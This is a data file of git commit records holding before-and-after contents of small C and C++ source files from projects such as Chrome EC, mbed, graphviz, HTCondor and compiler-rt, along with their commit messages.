{"commit":"b1c73bbd6bcd5c4e403998fe8f7bc1e1ace1359b","old_file":"chip\/mchp\/adc_chip.h","new_file":"chip\/mchp\/adc_chip.h","old_contents":"\/* Copyright 2017 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* MCHP MEC specific ADC module for Chrome EC *\/\n\n#ifndef __CROS_EC_ADC_CHIP_H\n#define __CROS_EC_ADC_CHIP_H\n\n\/* Data structure to define ADC channels. *\/\nstruct adc_t {\n\tconst char *name;\n\tint factor_mul;\n\tint factor_div;\n\tint shift;\n\tint channel;\n};\n\n\/*\n * Boards must provide this list of ADC channel definitions.\n * This must match the enum adc_channel list provided by the board.\n *\/\nextern const struct adc_t adc_channels[];\n\n\/* Minimum and maximum values returned by adc_read_channel(). *\/\n#define ADC_READ_MIN 0\n#define ADC_READ_MAX 1023\n\n\/* Just plain id mapping for code readability *\/\n#define MCHP_ADC_CH(x) (x)\n\n#endif \/* __CROS_EC_ADC_CHIP_H *\/\n","new_contents":"\/* Copyright 2017 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/* MCHP MEC specific ADC module for Chrome EC *\/\n\n#ifndef __CROS_EC_ADC_CHIP_H\n#define __CROS_EC_ADC_CHIP_H\n\n\/* Data structure to define ADC channels. *\/\nstruct adc_t {\n\tconst char *name;\n\tint factor_mul;\n\tint factor_div;\n\tint shift;\n\tint channel;\n};\n\n\/* List of ADC channels *\/\nenum chip_adc_channel {\n\tCHIP_ADC_CH0 = 0,\n\tCHIP_ADC_CH1,\n\tCHIP_ADC_CH2,\n\tCHIP_ADC_CH3,\n\tCHIP_ADC_CH4,\n\tCHIP_ADC_CH5,\n\tCHIP_ADC_CH6,\n\tCHIP_ADC_CH7,\n\tCHIP_ADC_COUNT,\n};\n\n\/*\n * Boards must provide this list of ADC channel definitions.\n * This must match the enum adc_channel list provided by the board.\n *\/\nextern const struct adc_t adc_channels[];\n\n\/* Minimum and maximum values returned by adc_read_channel(). *\/\n#define ADC_READ_MIN 0\n#define ADC_READ_MAX 1023\n\n\/* Just plain id mapping for code readability *\/\n#define MCHP_ADC_CH(x) (x)\n\n#endif \/* __CROS_EC_ADC_CHIP_H *\/\n","subject":"Add ADC channel enumeration to chip","message":"mchp: Add ADC channel enumeration to chip\n\nAdd a chip level ADC channel enumerated type.\n\nBRANCH=none\nBUG=b:177463787\nTEST=Booted skylake RVP to Chrome OS\n\nSigned-off-by: Scott Worley <186210b307f58d6c0a191337b635ed93ad075837@microchip.corp-partner.google.com>\nChange-Id: If30a71698b1d084380c6695e4c4b8921f5b8eec2\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2673019\nReviewed-by: Ravin Kumar <a0e97d6aca75c950342a3a8ebb8bd1c89d88be3e@microchip.com>\nReviewed-by: Aseda Aboagye <12c9b286316a940fd31c24070da5ab64cdd4d0e7@chromium.org>\nTested-by: Ravin Kumar <a0e97d6aca75c950342a3a8ebb8bd1c89d88be3e@microchip.com>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"ce1916c56d70edbe76ad36e4d2557e60f57b8645","old_file":"tests\/regression\/34-congruence\/04-casting.c","new_file":"tests\/regression\/34-congruence\/04-casting.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval\n\/\/ Ensures that the cast_to function handles casting for congruences correctly.\n\/\/ TODO: Implement appropriate cast_to function, enable for congruences only and adjust test if necessary.\n#include <assert.h>\n#include <stdio.h>\n\nint main(){\n  int c = 128;\n  for (int i = 0; i < 1; i++) {\n      c = c - 150;\n   }\n  char k = (char) c;\n  printf (\"k: %d\", k);\n  assert (k == -22); \/\/UNKNOWN\n\n  k = k + 150;\n  assert (k == 0); \/\/UNKNOWN!\n\n}\n","subject":"Add (deactivated) casting test for congruence domain","message":"Add (deactivated) casting test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"f1dcb34bfc420809b68884260247a14e75776372","old_file":"cpp\/foreach\/concat.h","new_file":"cpp\/foreach\/concat.h","old_contents":"#ifndef _CONCAT_H_\n#define _CONCAT_H_\n\n\/\/\/ Utitilies to make a unique variable name.\n#define CONCAT_LINE(x) CONCAT(x, __LINE__)\n#define CONCAT(a, b) CONCAT_INDIRECT(a, b)\n#define CONCAT_INDIRECT(a, b) a ## b\n\n#endif\n","new_contents":"#ifndef _CONCAT_H_\n#define _CONCAT_H_\n\n\/\/\/ Utitilies to make a unique variable name.\n#define CONCAT_LINE(x) CONCAT(x ## _foreach__, __LINE__)\n#define CONCAT(a, b) CONCAT_INDIRECT(a, b)\n#define CONCAT_INDIRECT(a, b) a ## b\n\n#endif\n","subject":"Fix a __i386 bug in gcc","message":"Fix a __i386 bug in gcc\n\nIn gcc, __i386 has special meaning for i386 CPU.\r\nSo we should avoid use __i386 as variable name.","lang":"C","license":"unlicense","repos":"airekans\/Snippet,airekans\/Snippet,airekans\/Snippet,airekans\/Snippet"}
{"commit":"142f635096a3c76946da848a6cc641152e118b40","old_file":"3RVX\/Skin\/SystemColors.h","new_file":"3RVX\/Skin\/SystemColors.h","old_contents":"","new_contents":"#pragma once\n\n#include <Windows.h>\n#include \"..\/Logger.h\"\n#include <math.h>\n#include <algorithm>\n\n#include <dwmapi.h>\n#pragma comment(lib, \"Dwmapi.lib\")\n\nclass SystemColors {\n\n    struct DWMColorizationParams {\n        UINT ColorizationColor;\n        UINT ColorizationAfterglow;\n        UINT ColorizationColorBalance;\n        UINT ColorizationAfterglowBalance;\n        UINT ColorizationBlurBalance;\n        UINT ColorizationGlassReflectionIntensity;\n        UINT ColorizationOpaqueBlend;\n    };\n\npublic:\n    SystemColors() {\n        HMODULE dwm = LoadLibrary(L\"dwmapi.dll\");\n        HRESULT(WINAPI *DwmGetColorizationParameters) (DWMColorizationParams *colorparam);\n        *(FARPROC *) &DwmGetColorizationParameters = GetProcAddress(dwm, (LPCSTR) 127);\n        DWMColorizationParams params;\n        DwmGetColorizationParameters(&params);\n\n        CLOG(L\"-> %x\", params.ColorizationColor);\n        CLOG(L\"-> %x\", params.ColorizationAfterglow);\n        CLOG(L\"-> %d\", params.ColorizationColorBalance);\n        CLOG(L\"-> %d\", params.ColorizationAfterglowBalance);\n        CLOG(L\"-> %x\", params.ColorizationBlurBalance);\n        CLOG(L\"-> %x\", params.ColorizationGlassReflectionIntensity);\n        CLOG(L\"-> %x\", params.ColorizationOpaqueBlend);\n\n        COLORREF base = RGB(217, 217, 217);\n\n        DWORD val;\n        BOOL opaque;\n        DwmGetColorizationColor(&val, &opaque);\n\n        CLOG(L\"=> %x\", val);\n\n    }\n\n\n};","subject":"Add class for retrieving system color scheme settings","message":"Add class for retrieving system color scheme settings\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"c8651ac9661b393929177481c0726c9680d8e094","old_file":"h\/CStringsView.h","new_file":"h\/CStringsView.h","old_contents":"","new_contents":"\/\/This Source Code Form is subject to the terms of the Mozilla Public\n\/\/License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#pragma once\n\n#include <stddef.h>\n#include <string.h>\n\n#include \"Common.h\"\n\nnamespace ej {\n\n\/\/! Represents a view on a list of C strings packed in an array\ntemplate <typename T = const char, size_t ALIGNMENT = alignof(T)>\nclass CStringsView {\npublic:\n\ttypedef T value_type;\n\ttypedef size_t size_type;\n\n\tstatic_assert((ALIGNMENT & (ALIGNMENT - 1)) == 0 && ALIGNMENT >= alignof(value_type));\n\nprivate:\n\tvalue_type *Start;\n\tvalue_type *Finish;\n\npublic:\n\tconstexpr CStringsView() noexcept : Start(nullptr), Finish(nullptr) {\n\t}\n\tconstexpr CStringsView(value_type *start, value_type *finish) noexcept : Start(start), Finish(finish) {\n\t}\n\ttemplate <size_t N>\n\tconstexpr CStringsView(value_type (&a)[N]) noexcept : Start(a), Finish(a + N) {\n\t}\n\n\tconstexpr void assign(value_type *start, value_type *finish) noexcept {\n\t\tStart = start;\n\t\tFinish = finish;\n\t}\n\n\ttemplate <size_t N>\n\tconstexpr void assign(value_type (&a)[N]) noexcept {\n\t\tassign(a, a + N);\n\t}\n\n\tconstexpr size_type size() const noexcept {\n\t\tsize_type n = 0;\n\t\tfor (auto iter = Start, end = Finish; iter < end;) {\n\t\t\tauto length = strlen(iter);\n\n\t\t\titer += length + 1;\n\t\t\tif constexpr (ALIGNMENT != alignof(value_type)) {\n\t\t\t\titer = reinterpret_cast<value_type *>(((reinterpret_cast<uintptr_t>(iter) + ALIGNMENT - 1) \/ ALIGNMENT) * ALIGNMENT);\n\t\t\t}\n\t\t\tn++;\n\t\t}\n\t\treturn n;\n\t}\n\n\tconstexpr bool empty() const noexcept {\n\t\treturn Start == Finish;\n\t}\n\n\ttemplate <typename Function>\n\tEJ_ALWAYS_INLINE void for_each(Function f) const noexcept {\n\t\tfor (auto iter = Start, end = Finish; iter < end;) {\n\t\t\tauto n = strlen(iter);\n\t\t\tf(iter, n);\n\n\t\t\titer += n + 1;\n\t\t\tif constexpr (ALIGNMENT != alignof(value_type)) {\n\t\t\t\titer = reinterpret_cast<value_type *>(((reinterpret_cast<uintptr_t>(iter) + ALIGNMENT - 1) \/ ALIGNMENT) * ALIGNMENT);\n\t\t\t}\n\t\t}\n\t}\n};\n\n}\n","subject":"Add a view for a packed array of C strings.","message":"Add a view for a packed array of C strings.\n","lang":"C","license":"mpl-2.0","repos":"enochjul\/ej"}
{"commit":"7c6dcf070a18942956867419ec19f348f2e929cc","old_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","new_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","old_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s\n\n#include <dispatch\/dispatch.h>\n\n#include <pthread.h>\n#include <stdio.h>\n\nlong g = 0;\nlong h = 0;\nvoid f() {\n  static dispatch_once_t onceToken;\n  dispatch_once(&onceToken, ^{\n    g++;\n  });\n  h++;\n}\n\nvoid __tsan_on_report() {\n  fprintf(stderr, \"Report.\\n\");\n  f();\n}\n\nint main() {\n  fprintf(stderr, \"Hello world.\\n\");\n\n  f();\n\n  pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n  pthread_mutex_unlock(&mutex); \/\/ Unlock of an unlocked mutex\n\n  fprintf(stderr, \"g = %ld.\\n\", g);\n  fprintf(stderr, \"h = %ld.\\n\", h);\n  fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","new_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %env_tsan_opts=ignore_noninstrumented_modules=0 %run %t 2>&1 | FileCheck %s\n\n#include <dispatch\/dispatch.h>\n\n#include <pthread.h>\n#include <stdio.h>\n\nlong g = 0;\nlong h = 0;\nvoid f() {\n  static dispatch_once_t onceToken;\n  dispatch_once(&onceToken, ^{\n    g++;\n  });\n  h++;\n}\n\nvoid __tsan_on_report() {\n  fprintf(stderr, \"Report.\\n\");\n  f();\n}\n\nint main() {\n  fprintf(stderr, \"Hello world.\\n\");\n\n  f();\n\n  pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n  pthread_mutex_unlock(&mutex); \/\/ Unlock of an unlocked mutex\n\n  fprintf(stderr, \"g = %ld.\\n\", g);\n  fprintf(stderr, \"h = %ld.\\n\", h);\n  fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","subject":"Fix test failing on Linux","message":"[TSan] Fix test failing on Linux\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@368641 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"4f66d2d8091e1faec2eaa138c6e95c928f7b669d","old_file":"targets\/TARGET_NUVOTON\/TARGET_NANO100\/device\/cmsis.h","new_file":"targets\/TARGET_NUVOTON\/TARGET_NANO100\/device\/cmsis.h","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_CMSIS_H\n#define MBED_CMSIS_H\n\n#include \"NANO100Series.h\"\n#include \"cmsis_nvic.h\"\n\n\/\/ Support linker-generated symbol as start of relocated vector table.\n#if defined(__CC_ARM)\nextern uint32_t Image$$ER_IRAMVEC$$ZI$$Base;\n#elif defined(__ICCARM__)\n\n#elif defined(__GNUC__)\nextern uint32_t __start_vector_table__;\n#endif\n\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_CMSIS_H\n#define MBED_CMSIS_H\n\n#include \"Nano100Series.h\"\n#include \"cmsis_nvic.h\"\n\n\/\/ Support linker-generated symbol as start of relocated vector table.\n#if defined(__CC_ARM)\nextern uint32_t Image$$ER_IRAMVEC$$ZI$$Base;\n#elif defined(__ICCARM__)\n\n#elif defined(__GNUC__)\nextern uint32_t __start_vector_table__;\n#endif\n\n\n#endif\n","subject":"Fix the file name case problem for building code in Linux system","message":"[NANO130] Fix the file name case problem for building code in Linux system\n","lang":"C","license":"apache-2.0","repos":"betzw\/mbed-os,nRFMesh\/mbed-os,Archcady\/mbed-os,catiedev\/mbed-os,betzw\/mbed-os,YarivCol\/mbed-os,mazimkhan\/mbed-os,ryankurte\/mbed-os,karsev\/mbed-os,nRFMesh\/mbed-os,ryankurte\/mbed-os,svogl\/mbed-os,andcor02\/mbed-os,catiedev\/mbed-os,mbedmicro\/mbed,YarivCol\/mbed-os,andcor02\/mbed-os,nRFMesh\/mbed-os,mazimkhan\/mbed-os,c1728p9\/mbed-os,HeadsUpDisplayInc\/mbed,HeadsUpDisplayInc\/mbed,YarivCol\/mbed-os,nRFMesh\/mbed-os,kjbracey-arm\/mbed,infinnovation\/mbed-os,catiedev\/mbed-os,Archcady\/mbed-os,mazimkhan\/mbed-os,ryankurte\/mbed-os,c1728p9\/mbed-os,mazimkhan\/mbed-os,infinnovation\/mbed-os,ryankurte\/mbed-os,CalSol\/mbed,infinnovation\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,CalSol\/mbed,karsev\/mbed-os,HeadsUpDisplayInc\/mbed,CalSol\/mbed,CalSol\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,karsev\/mbed-os,karsev\/mbed-os,catiedev\/mbed-os,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed,betzw\/mbed-os,betzw\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,CalSol\/mbed,YarivCol\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,Archcady\/mbed-os,karsev\/mbed-os,svogl\/mbed-os,CalSol\/mbed,svogl\/mbed-os,YarivCol\/mbed-os,HeadsUpDisplayInc\/mbed,andcor02\/mbed-os,HeadsUpDisplayInc\/mbed,mbedmicro\/mbed,catiedev\/mbed-os,ryankurte\/mbed-os,nRFMesh\/mbed-os,kjbracey-arm\/mbed,Archcady\/mbed-os,catiedev\/mbed-os,ryankurte\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,mazimkhan\/mbed-os,c1728p9\/mbed-os,svogl\/mbed-os,mazimkhan\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,infinnovation\/mbed-os,karsev\/mbed-os,infinnovation\/mbed-os,infinnovation\/mbed-os,YarivCol\/mbed-os,kjbracey-arm\/mbed,svogl\/mbed-os"}
{"commit":"f739a7605b738b85ba32436825b44f0059b83f45","old_file":"test\/test_cpuid.c","new_file":"test\/test_cpuid.c","old_contents":"#include \"unity.h\"\n#include \"cpuid.h\"\n\nvoid test_GetVendorName_should_ReturnGenuineIntel(void) {\n  char expected[20] = \"GenuineIntel\";\n\n  char actual[20];\n  get_vendor_name(actual);\n  \n  TEST_ASSERT_EQUAL_STRING(expected, actual);\n}\n\nvoid test_GetVendorSignature_should_asdf(void) {\n  uint32_t exp_ebx = 0x756e6547; \/\/ translates to \"Genu\"\n  uint32_t exp_ecx = 0x6c65746e; \/\/ translates to \"ineI\"\n  uint32_t exp_edx = 0x49656e69; \/\/ translates to \"ntel\"\n\n  cpuid_info_t sig;\n  sig = get_vendor_signature();\n\n  TEST_ASSERT_EQUAL_UINT32(exp_ebx, sig.ebx);\n  TEST_ASSERT_EQUAL_UINT32(exp_ecx, sig.ecx);\n  TEST_ASSERT_EQUAL_UINT32(exp_edx, sig.edx);\n}\n\nvoid test_GetProcessorSignature_should_ReturnFamily6(void) {\n  unsigned int expected = 0x6;\n\n  unsigned int family;\n  uint32_t processor_signature = get_processor_signature();\n  family = (processor_signature >> 8) & 0xf;\n\n  TEST_ASSERT_EQUAL_UINT(expected, family);\n}\n","new_contents":"#include \"unity.h\"\n#include \"cpuid.h\"\n\nvoid test_GetVendorName_should_ReturnGenuineIntel(void) {\n  char expected[20] = \"GenuineIntel\";\n\n  char actual[20];\n  get_vendor_name(actual);\n  \n  TEST_ASSERT_EQUAL_STRING(expected, actual);\n}\n\nvoid test_GetVendorSignature_should_ReturnCorrectCpuIdValues(void) {\n  uint32_t exp_ebx = 0x756e6547; \/\/ translates to \"Genu\"\n  uint32_t exp_ecx = 0x6c65746e; \/\/ translates to \"ineI\"\n  uint32_t exp_edx = 0x49656e69; \/\/ translates to \"ntel\"\n\n  cpuid_info_t sig;\n  sig = get_vendor_signature();\n\n  TEST_ASSERT_EQUAL_UINT32(exp_ebx, sig.ebx);\n  TEST_ASSERT_EQUAL_UINT32(exp_ecx, sig.ecx);\n  TEST_ASSERT_EQUAL_UINT32(exp_edx, sig.edx);\n}\n\nvoid test_GetProcessorSignature_should_ReturnFamily6(void) {\n  unsigned int expected = 0x6;\n\n  unsigned int family;\n  uint32_t processor_signature = get_processor_signature();\n  family = (processor_signature >> 8) & 0xf;\n\n  TEST_ASSERT_EQUAL_UINT(expected, family);\n}\n","subject":"Change method-name to something more appropriate","message":"Change method-name to something more appropriate\n","lang":"C","license":"bsd-2-clause","repos":"sosy-lab\/power-gadget_benchexec,sosy-lab\/power-gadget_benchexec"}
{"commit":"467b95c1f52ffcd22d928cbbe0bd102d24df3425","old_file":"print_helpers.h","new_file":"print_helpers.h","old_contents":"\/*\n * print_helpers.h\n *\n *  Created on: Nov 29, 2014\n *      Author: Konstantin Gredeskoul\n *        Code: https:\/\/github.com\/kigster\n *\n *  (c) 2014 All rights reserved, MIT License.\n *\/\n\n#ifndef printv\n#define printv(X,Y) (Serial.print(X) || Serial.println(Y))\n#endif\n\n","new_contents":"\/*\n * print_helpers.h\n *\n *  Created on: Nov 29, 2014\n *      Author: Konstantin Gredeskoul\n *        Code: https:\/\/github.com\/kigster\n *\n *  (c) 2014 All rights reserved, MIT License.\n *\/\n\n#ifndef printv\n#define printv(X,Y) (Serial.print(X) || Serial.println(Y))\n#endif\n\n#ifndef _printf\n#define _printf(X,Y) (Serial.printf(X, Y))\n#endif\n\n","subject":"Add probably useless _printf(x,y) macro","message":"Add probably useless _printf(x,y) macro","lang":"C","license":"mit","repos":"kigster\/flix-capacitor,kigster\/FilxCapacitor,kigster\/flix-capacitor,kigster\/FilxCapacitor"}
{"commit":"d382aa8fca9778c0251ff9c8e708731c2a1f07ab","old_file":"cmd\/lefty\/parse.h","new_file":"cmd\/lefty\/parse.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/* Lefteris Koutsofios - AT&T Bell Laboratories *\/\n\n#ifndef _PARSE_H\n#define _PARSE_H\n    typedef struct Psrc_t {\n\tint flag;\n\tchar *s;\n\tFILE *fp;\n\tint tok;\n\tint lnum;\n    } Psrc_t;\n\n    void Pinit(void);\n    void Pterm(void);\n    Tobj Punit(Psrc_t *);\n    Tobj Pfcall(Tobj, Tobj);\n    Tobj Pfunction(char *, int);\n#endif\t\t\t\t\/* _PARSE_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Lefteris Koutsofios - AT&T Labs Research *\/\n\n#ifndef _PARSE_H\n#define _PARSE_H\ntypedef struct Psrc_t {\n    int flag;\n    char *s;\n    FILE *fp;\n    int tok;\n    int lnum;\n} Psrc_t;\n\nvoid Pinit (void);\nvoid Pterm (void);\nTobj Punit (Psrc_t *);\nTobj Pfcall (Tobj, Tobj);\nTobj Pfunction (char *, int);\n#endif \/* _PARSE_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Update with new lefty, fixing many bugs and supporting new features","message":"Update with new lefty, fixing many bugs and supporting new features\n","lang":"C","license":"epl-1.0","repos":"jho1965us\/graphviz,tkelman\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,kbrock\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz"}
{"commit":"2ee20d77880e3b1afa0bd010e6a3cde5ec2109eb","old_file":"fibonacci_number\/FibonacciNumber.c","new_file":"fibonacci_number\/FibonacciNumber.c","old_contents":"","new_contents":"#include<stdio.h>\n\nlong long int fibonacci(long long int n)\n{\n\t\/\/Because first fibonacci number is 0 and second fibonacci number is 1.\n\tif(n==1 || n==2)\n\t{\n\t\treturn (n-1);\n\t}\n\telse\n\t{\n\t\t\/\/store last fibonacci number\n\t\tlong long int a=1;\n\t\t\/\/store second last fibonacci number \n\t\tlong long int b=0;\n\t\t\/\/store current fibonacci number\n\t\tlong long int nth_Fib;\n\t\tfor(long long int i=3;i<=n;i++)\n\t\t{\n\t\t\tnth_Fib = a+b;\n\t\t\tb = a;\n\t\t\ta = nth_Fib;\n\t\t}\n\t\treturn nth_Fib;\n\t}\n}\n\nint main()\n{\n\tlong long int n;\n\tprintf(\"Enter a Number : \");\n\tscanf(\"%lli\",&n);\n\tif(n<1)\n\t{\n\t\tprintf(\"Number must be greater than 0\");\n\t}\n\telse\n\t{\n\t\tlong long int nth_Fib = fibonacci(n);\n\t\tprintf(\"Fibonacci Number is %lli\",nth_Fib);\n\t}\n\treturn 0;\n}","subject":"Add Code For nth Fibonacci Number in c","message":"Add Code For nth Fibonacci Number in c\n","lang":"C","license":"mit","repos":"iiitv\/algos,iiitv\/algos,iiitv\/algos,iiitv\/algos,iiitv\/algos,iiitv\/algos,iiitv\/algos,iiitv\/algos"}
{"commit":"86a2b10151809c3605b2094d8505e19e541060b2","old_file":"src\/condor_includes\/condor_fix_limits.h","new_file":"src\/condor_includes\/condor_fix_limits.h","old_contents":"","new_contents":"#ifndef FIX_LIMITS_H\n#define FIX_LIMITS_H\n\n#if defined(HPUX9)\n#   define select _hide_select\n#endif\n\n#include <limits.h>\n\n#if defined(HPUX9)\n#   undef select\n#endif\n\n#endif\n","subject":"Hide the system's version of the prototype for select(). We define it in \"condor_fdset.h\".","message":"Hide the system's version of the prototype for select().  We define it\nin \"condor_fdset.h\".\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting"}
